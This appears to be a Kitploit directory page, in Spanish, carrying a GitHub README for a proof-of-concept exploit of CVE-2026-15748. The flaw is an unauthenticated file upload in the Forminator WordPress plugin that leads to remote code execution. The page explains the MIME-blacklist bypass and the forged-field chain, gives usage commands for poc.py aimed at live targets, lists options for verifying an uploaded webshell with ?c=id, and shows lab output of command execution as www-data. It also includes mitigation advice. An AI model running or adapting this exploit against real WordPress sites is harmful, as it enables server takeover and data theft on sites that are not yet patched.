Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - Subida de archivos arbitraria no autenticada mediante configuración falsificada del campo de subida | Kitploit
Herramientas/GitHubGitHub/ubaydev/cve-2026-15748
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - Subida de archivos arbitraria no autenticada mediante configuración falsificada del campo de subida

Ver Repositorio
3hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-15748 — Forminator Forms: subida arbitraria de archivos sin autenticación → RCE

CVSS 9.8 (Crítico) · Afectado: Forminator <= 1.56.1 · Parcheado: 1.56.2 Investigador: daroo (Wordfence Bug Bounty, $2,048) · ~600k instalaciones activas Informe: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Cadena de causa raíz

Tres debilidades encadenadas mediante un valor falsificado del campo Select:

  1. Sin saneamiento en los arrays de campos anidados — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() itera sobre cada campo almacenado. Para el campo Select almacenado select-1, $field_data = prepared_data['select-1'] (array anidado controlado por el atacante). Cuando contiene , el array se añade a en su totalidad (front-action.php ~línea 1088), antes de cualquier saneamiento/validación por campo. no los elimina.

return
field_data_array
maybe_handle_custom_option()
  • Configuración de campo no confiable tratada como confiable en la subida — Forminator_CForm_Front_Action::process_uploads() itera field_data_array, confía en field_type == 'upload' falsificado, usa el name falsificado para seleccionar una entrada $_FILES y pasa el field_array falsificado como configuración confiable a Forminator_Upload::handle_file_upload().

  • Bypass de la lista negra por clave exacta — forminator_allowed_mime_types() elimina la clave literal php, pero wp_check_filetype() trata las claves como regex. La clave ph(p) sobrevive a la lista negra y aun así coincide con el sufijo .php. additional-type = ph(p)|text/x-php permite que un archivo .php pase la validación.

  • Condición de explotabilidad

    Un formulario publicado debe contener tanto un campo de subida de archivos (File Upload) como un campo Select. Select es solo el portador.

    Advertencia sobre la ejecución (VERIFICADO EN LABORATORIO)

    • La subida de un .php arbitrario al disco se realiza correctamente por defecto (no se necesita configuración especial para la escritura).
    • El RCE requiere que la raíz de subida carezca de un .htaccess de Apache. Tanto la raíz predeterminada de Forminator como una raíz personalizada reciben un .htaccess que bloquea PHP (SetHandler none / RemoveHandler). El RCE solo se activa cuando ese .htaccess no está presente — el escenario del informe: «raíz de almacenamiento personalizada creada durante una petición de frontend en la que insert_with_markers() no está cargado».
    • En el laboratorio logramos el RCE usando una raíz de almacenamiento personalizada y simulando el estado sin .htaccess.

    Ruta de subida y hash (importante para pruebas en vivo)

    • Raíz predeterminada: wp-content/uploads/forminator/ → archivo en wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
    • Raíz personalizada: si el administrador configura forminator_custom_upload_root (p. ej. cveuploads), los archivos se guardan en wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
    • El <hash> es wp_hash($form_id) — derivado de las sales AUTH del sitio, por lo que no es predecible externamente. poc.py imprime el patrón de ruta; para completarlo debes recuperar el hash (listado de directorio, la URL/log de un archivo subido existente, una entrada en el panel de administración, etc.) mediante --form-hash.
    • Nombre del archivo subido = wp_generate_password(12,false,false) . '-' . <original> → p. ej. cX3fRjMDDu03-shell.php (12 caracteres alfanuméricos aleatorios + - + nombre original).

    Uso — poc.py

    Orientado a objetivos en vivo por diseño; los asistentes de laboratorio local (escaneo del FS de archivos, eliminación de .htaccess) están restringidos únicamente a http://wordpresslab.test / http://localhost.

    root@kitploit:~
    # A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
    python3 poc.py --target https://site.tld/                       # url-only -> fetches index
    python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
    python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42
    
    # B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
    
    # C) Verify a candidate shell URL on a live target
    python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
        --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
    
    # D) local lab: full RCE (scans container FS, removes .htaccess, executes)
    python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
    

    Opciones

    OpciónSignificado
    --targetURL base (o URL completa de la página cuando no hay --page-id/modo manual)
    --page-idID de la entrada; si está vacío, se obtiene la propia URL objetivo para el nonce/form_id
    --form-id, --nonceomiten el descubrimiento; aun así obtienen la página para la recolección con --auto
    --upload-fieldnombre real del campo de subida (por defecto upload-1)
    --forge-nameportador $_FILES falsificado (por defecto = nombre real, modo de colisión; usa un nombre distinto para un success=True limpio)
    --selectcampo select a usar (por defecto select-1)
    --extra name=valuefuerza un valor de campo (repetible; --extra 'checkbox-1[]=a+b' para varios)
    --auto / --no-autorecolecta los campos reales del formulario desde el HTML y autocompleta valores plausibles según el tipo (activado por defecto)
    --upload-rootraíz de subida relativa (por defecto wp-content/uploads/forminator; p. ej. wp-content/uploads/cveuploads para raíz personalizada)
    --form-hashla parte <hash> del directorio de subida → completa/imprime una URL concreta
    --verify-urlen vivo: probar una URL de shell candidata con ?c=id/?c=whoami
    --find-shellsolo local (wordpresslab.test/localhost): encuentra el *-shell.php más reciente, elimina .htaccess, ejecuta
    --no-htaccessimprime la nota de eliminación de .htaccess del laboratorio local

    Mapeo de valores de --auto (recolectados del HTML del formulario)

    Tipo de campoValor generado
    email / el nombre contiene emailauto<rand>@mailinator.com
    tel / el nombre contiene phone10 dígitos aleatorios
    url / el nombre contiene urlhttps://example.com/<rand>
    numberaleatorio entre 1 y 9999
    date2026-08-19
    grupo checkbox/radio name[]valor de la primera opción (se examinan todas las entradas con el mismo nombre)
    checkbox/radio individualatributo value, respaldo checked
    <select> (no portador)primera opción no vacía
    <textarea>texto aleatorio
    texto plano10 caracteres aleatorios

    Se omiten: campos internos (action/form_id/nonce/...), type="file" (upload-*), select-* (portador del exploit), calculation-* (calculados) y campos de plugins externos (wpforms[...]).

    Reproducción en laboratorio (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

    Configuración:

    • Formulario con un campo de subida real + un campo Select (creado mediante build_form.php, API Forminator_Form_Model).
    • Raíz de almacenamiento de subida personalizada activada (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads) para poder demostrar el RCE. cveuploads/ es un artefacto de laboratorio, no un valor predeterminado de Forminator.
    • Nota de diseño: para un success=True limpio, el name falsificado debe diferir del element_id del campo de subida real. Un nombre en colisión igualmente sube el archivo, pero el campo real también ejecuta su propia comprobación de MIME predeterminada → la respuesta reporta un error mientras la shell ya está en el disco.

    Evidencia en bruto (ejecución de laboratorio):

    root@kitploit:~
    # default path pattern (hash is site-secret):
    wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
    
    [+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
    ?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ?c=whoami -> CVE-2026-15748-RCE www-data
    
    # .htaccess present (protected): request returns raw PHP source (not executed)
    

    Archivos

    • poc.py — PoC orientado a objetivos en vivo (auto-descubrimiento, autocompletado, verify-url, asistente de RCE local)
    • build_form.php — constructor programático de formularios de laboratorio (subida + select) mediante la API del modelo
    • README.md — este documento

    Mitigación

    • Actualiza a Forminator >= 1.56.2 (bloquea el bypass de la lista negra de MIME + la ruta de configuración de campo confiable).
    • Asegúrate de que cualquier raíz de almacenamiento de subida personalizada esté cubierta por las protecciones .htaccess/index de Forminator.
    • Ejecuta el PoC únicamente contra objetivos que estés autorizado a probar.
    Descargar herramienta